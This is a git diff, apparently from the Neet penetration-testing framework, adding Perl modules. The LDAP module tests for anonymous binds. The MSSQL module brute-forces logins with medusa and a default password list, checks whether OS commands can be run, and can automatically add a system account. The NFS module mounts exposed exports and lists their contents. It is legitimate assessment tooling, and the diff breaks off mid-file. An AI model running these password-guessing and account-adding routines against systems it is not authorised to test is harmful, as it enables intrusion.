$self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/LDAP/LDAP.gsm b/content/LDAP/LDAP.gsm new file mode 100644 index 0000000..91c99e4 --- /dev/null +++ b/content/LDAP/LDAP.gsm @@ -0,0 +1,276 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package LDAP; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}='tcp'; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("ldap.txt","globalcatalog.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=40; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=0; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=4; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /usr/local/share/neet/resources/modules/$name, so for this + # module, $resourceDir would be /usr/local/share/neet/resources/modules/Example + # $BasePrefix - the full absolute path to the neet installation - usuall /usr/local/share/neet + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + # And now the code for the actual test: + + # <<< CODE GOES HERE >>> + my $output="${outputDir}/raw/ldapNull-${port}.txt"; + my $rc=$MainScan->System($MainScan->getPath("ldapsearch") . " -h $host -p $port -x -D NULL > $output 2>&1"); + $output="${outputDir}/raw/ldapBase-${port}.txt"; + $MainScan->System($MainScan->getPath("ldapsearch") . " -h $host -p $port -x -s base > $output 2>&1"); + + if (!$rc){ + my $lines; my $trigger=10; # Lines + if (open(F,"$output")){ + until (eof F){ + my $line=readline(*F); + $lines++; + last if ($lines == $trigger); + } + close F; + } + if ($lines == $trigger){ + $MainScan->ConfigError($target,"issue","GSM-LDAP-1","LDAP server allowed anonymous access to a NULL base"); + $MainScan->System("mv $output $outputDir/"); + } + } + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/MSSQL/MSSQL.gsm b/content/MSSQL/MSSQL.gsm new file mode 100644 index 0000000..4f626db --- /dev/null +++ b/content/MSSQL/MSSQL.gsm @@ -0,0 +1,311 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package MSSQL; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}='tcp'; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("ms-sql.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=20; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=0; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=0; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /usr/local/share/neet/resources/modules/$name, so for this + # module, $resourceDir would be /usr/local/share/neet/resources/modules/Example + # $BasePrefix - the full absolute path to the neet installation - usuall /usr/local/share/neet + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + # And now the code for the actual test: + + my $compromised=0; + my $Resources=$MainScan->ResourceDirectory; + my $account=$Config->GetVal("Accounts.MSSQL"); + + LIST: for my $pwlist ("${resourceDir}/defaultPasswords.txt","${Resources}/user/given.txt","${Resources}/dynamic/guessed.txt","${Resources}/user/passwords.txt","${resourceDir}/passwords.txt"){ + if (-f "$pwlist"){ + $Log->Info ("GSM thread $threadID ($name -> $target): Guessing MSSQL Passwords from $pwlist",'LOGONLY'); + my $exe=$MainScan->getPath("medusa"); + if ($exe){ + #$MainScan->System("$exe -l \"$account\" -P \"$pwlist\" $host -s $port mssql > ${outputDir}/raw/mssql-${port}.txt"); + $MainScan->System("$exe -u \"$account\" -e n -P \"$pwlist\" -h $host -n $port -M mssql > ${outputDir}/raw/mssql-${port}.txt"); + } + my @medusa=$MainScan->ReadFile("${outputDir}/raw/mssql-${port}.txt"); + my $pass; + for my $line (@medusa){ + if ($line =~ /\[SUCCESS\]/){ + chomp $line; + $pass=$line; $pass =~ s/^[\s\S]+Password: ([\s\S]+)\[SUCCESS\][\s\S]+/$1/; + if ($pass eq $line){ + $pass=""; + } + my $message="Logged into MS-SQL server with $account $pass"; + $MainScan->StoreGuessedPassword($target, "vuln", "MSSQL", "$account", "$pass", "GSM-MSSQL-1", $message); + # Test the permissions of the account (can we execute OS commands?) + use JR::iShell::iShellSQL; + my $shell; + $shell = JR::iShell::iShellSQL->new('Connector'=>"NativeMSSQL", 'Host'=>"$host", 'Pass'=>"$pass", 'User'=>"$account"); + if ($shell){ + my $message="System commands can be executed on this MS-SQL server"; + $MainScan->ConfigError($target, "comp", "GSM-MSSQL-2", $message); + $compromised=1; + $password=$pass; + } else { + $Log->Status("GSM $name -> $target: Guessed MSSQL password but no shell was available","LOGONLY"); + } + last LIST; + } + } + } + } + + if ($compromised){ + if (!$MainScan->GetStatKey("${outputDir}/hostInfo.txt","AddedAccount") && $MainScan->AutoExploit){ + my $cmd="${BasePrefix}/pkg/bin/SQLaddaccount $socket \"$password\" \"$account\""; + my $rc=$MainScan->System("$cmd >${outputDir}/raw/SQLadduser_${port}.txt 2>&1"); + my $newuser=$Config->GetVal("NewUser"); + my $newpassword=$Config->GetVal("NewPassword"); + if (!$rc){ + my $message="Automatially added $newuser/$newpassword account to this host"; + $MainScan->RecordCompromise($target, "GSM-MSSQL-3", $message); + $MainScan->SetStatValue("${outputDir}/hostInfo.txt","AddedAccount","$newuser"); + } else { + $Log->Status("GSM $name -> $target: FAILED to add system account \"$newuser\"","LOGONLY"); + } + } + } + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/MSSQL/defaultPasswords.txt b/content/MSSQL/defaultPasswords.txt new file mode 100644 index 0000000..49ba710 --- /dev/null +++ b/content/MSSQL/defaultPasswords.txt @@ -0,0 +1,3 @@ + +sa +password diff --git a/content/NFS/NFS.gsm b/content/NFS/NFS.gsm new file mode 100644 index 0000000..5105f5c --- /dev/null +++ b/content/NFS/NFS.gsm @@ -0,0 +1,303 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +# This Template is provided for use as a basis for your own modules. + +# In case you haven't guessed, this is written in PERL. The code is run in a 'strict' environment, so +# make sure to use "my" to limit the scope of your variables, or the module will fail to load. + +# The only code areas you should modify are: + +# * The "Customise these parameters" area in the "new" subroutine +# * The code for the actual test in the "activate" subroutine, after "Beginning of module-specific code" +# and before "End of module-specific code". + +# The rest of the code should remain unmodified. You may wish to remove a lot of these example comments +# for the sake of readability of your code. +package NFS; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + + # If $struct{'Enabled'} is 0, the module won't be loaded, and therefore won't test anything. + # As this is a template module, we don't really want it to run. + $struct{'Enabled'}=1; + + # If your module only tests a UDP or TCP service, put a lower-case protocol name in $struct{'Protocol'}. + $struct{'Protocol'}=''; + + # @{$struct{'WatchFiles'}} is an array of files to watch in the "services" directory. + # You can specify more than one. If any of them change, your module will be activated with the new services. + @{$struct{'WatchFiles'}}=("nfs.txt","rpcbind.txt"); + + # Cost is used to determine how resource-intensive your module is. As modules are started, their cost is added + # up, and once the budget is reached, no more modules will start until some finish and release more budget. + # As a rule, 10 is a lightweight test, and 100 is something intensive like nikto or an SMB brute-force. + $struct{'Cost'}=20; + + # $struct{'OnePerHost'} should be 0 if more than one instance of this service is to be tested per host. Most + # modules will be set this way. If it is set to 1, then your module will only be told about the host IP, and + # not a protocol or port. Services such as SMB are typically need a setting of 1, otherwise all the SMB tests + # will be performed on both 139 and 445. + $struct{'OnePerHost'}=1; + + # $struct{'MaxInstances'} determines the maximum number of instances of this service that are allowed to run + # simultaneously, even if there is room in the budget to run more. This is to prevent some modules hogging + # all the resources. A value of 0 means that there is no limit (apart from the budget constraints). + $struct{'MaxInstances'}=1; + + # $struct{'ConflictingModules'} is an array containing the names (without file extensions) of modules which + # should prevent this one from running. + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + # This is the subroutine that contains the actual code. + # First, some code which will be common to all modules - setting up the environment + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $BasePrefix=$Config->GetVal("BasePrefix"); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + # These are the variables you can use in your code: + # $target - the raw target specification as it is supplied to this subroutine by the scheduler. + # Unless you want to process this for any particular reason, you're better off using the + # $host, $protocol, $port or $socket variables below. + # $file - the filename from which the target was selected. This is useful when your module is monitoring + # multiple files. You can use this to alter the behaviour of your module accordingly. + # $host - the IP address of the target + # $port - the port on which the service is listening (not set for "OnePerHost" modules) + # $protocol - the protocol on which the service is listening (not set for "OnePerHost" modules) + # $socket - same as $host, unless $port is set, in which case it is set to "$host:$port". + # $name - the name of this module + # $cost - the cost of this module + # $threadID - the Perl ithread ID for this thread + # $outputDir - the full absolute path to the directory of results for this $host + # $resourceDir - the full absolute path to the directory of resources for this module. + # This is normally /usr/local/share/neet/resources/modules/$name, so for this + # module, $resourceDir would be /usr/local/share/neet/resources/modules/Example + # $BasePrefix - the full absolute path to the neet installation - usuall /usr/local/share/neet + + # These are the objects you can access + # $self - This module + # $MainScan - MainScan object, which provides most of neet's method calls. + # $Config - The interface to the configuration file + # $Log - The interface to the logging and screen printing mechanism + + # The API for recording issues is as follows: + # RecordIssue(target, label, text) + # RecordVulnerability(target, label, text) + # RecordCompromise(target, label, text) + # StoreGuessedPassword(target, level, service, username, password, label, text) + # MissingPatch(target, level, service, patch, label, text) + # ConfigError(target, level, label, text) + + # Include any Perl modules you may require + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + # And now the code for the actual test: + + if (!-f "${outputDir}/nfsExports.txt"){ + if (-f "/etc/slackware-version"){ + # Slackware + $MainScan->System ("/bin/sh /etc/rc.d/rc.rpc start >/dev/null 2>&1"); + } else { + if (`/etc/init.d/portmap status` !~ /started/){ # GENTOO + $MainScan->System ("/etc/init.d/portmap start >/dev/null 2>&1"); + } + #if ( -f "/etc/init.d/nfs-common"){ # Debian + # $MainScan->System ("/etc/init.d/nfs-common start >/dev/null"); + #} + } + $Log->Warn ("GSM thread $threadID ($name -> $target): Started local portmap service\n"); + $MainScan->System ("/sbin/showmount -e $host > ${outputDir}/nfsExports.txt 2>&1"); + } + + if (open(Exports,"${outputDir}/nfsExports.txt")){ + my @Exports=; + close Exports; + # Set a timeout for the mount command + my $Timeout=$Config->GetVal("Speeds.$targetType.NFS." . $MainScan->Speed); + + for my $export (@Exports){ + next if (($export !~ /\S/) || (index($export,"Export ")==0)); # || ($export !~ /everyone|\*/)); + my ($dir,$who)=split "\\s", $export; + my $tmpDir=$dir; $tmpDir=~s?/?-?g; $tmpDir=~s/^-//; + $MainScan->System("/bin/mkdir -p /mnt/${host}/$tmpDir"); + if (-d "/mnt/${host}/$tmpDir"){ + my $error=$MainScan->TimedSystem($Timeout,"/bin/mount ${host}:$dir /mnt/${host}/$tmpDir -t nfs -o nolock >/dev/null 2>&1"); + if ($error==0){ + $MainScan->ConfigError($target, "vuln", "GSM-NFS-1", "Mounted NFS export $dir"); + mkdir "${outputDir}/NFS"; + $MainScan->System("find /mnt/${host}/$tmpDir -ls > ${outputDir}/NFS/contents-$tmpDir.txt 2>&1"); + my $error=$MainScan->TimedSystem($Timeout,"umount /mnt/${host}/$tmpDir"); + if ($error==0){ + $Log->OK ("GSM thread $threadID ($name -> $target): successfully unmounted NFS export $dir\n"); + $MainScan->System("rmdir /mnt/${host}/$tmpDir && rmdir /mnt/${host}"); + } else { + $Log->Warn ("GSM thread $threadID ($name -> $target): couldn't unmount NFS export $dir\n"); + } + } else { + $Log->Info ("GSM thread $threadID ($name -> $target): couldn't mount NFS share $dir\n","LOGONLY"); + } + } + } + + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + 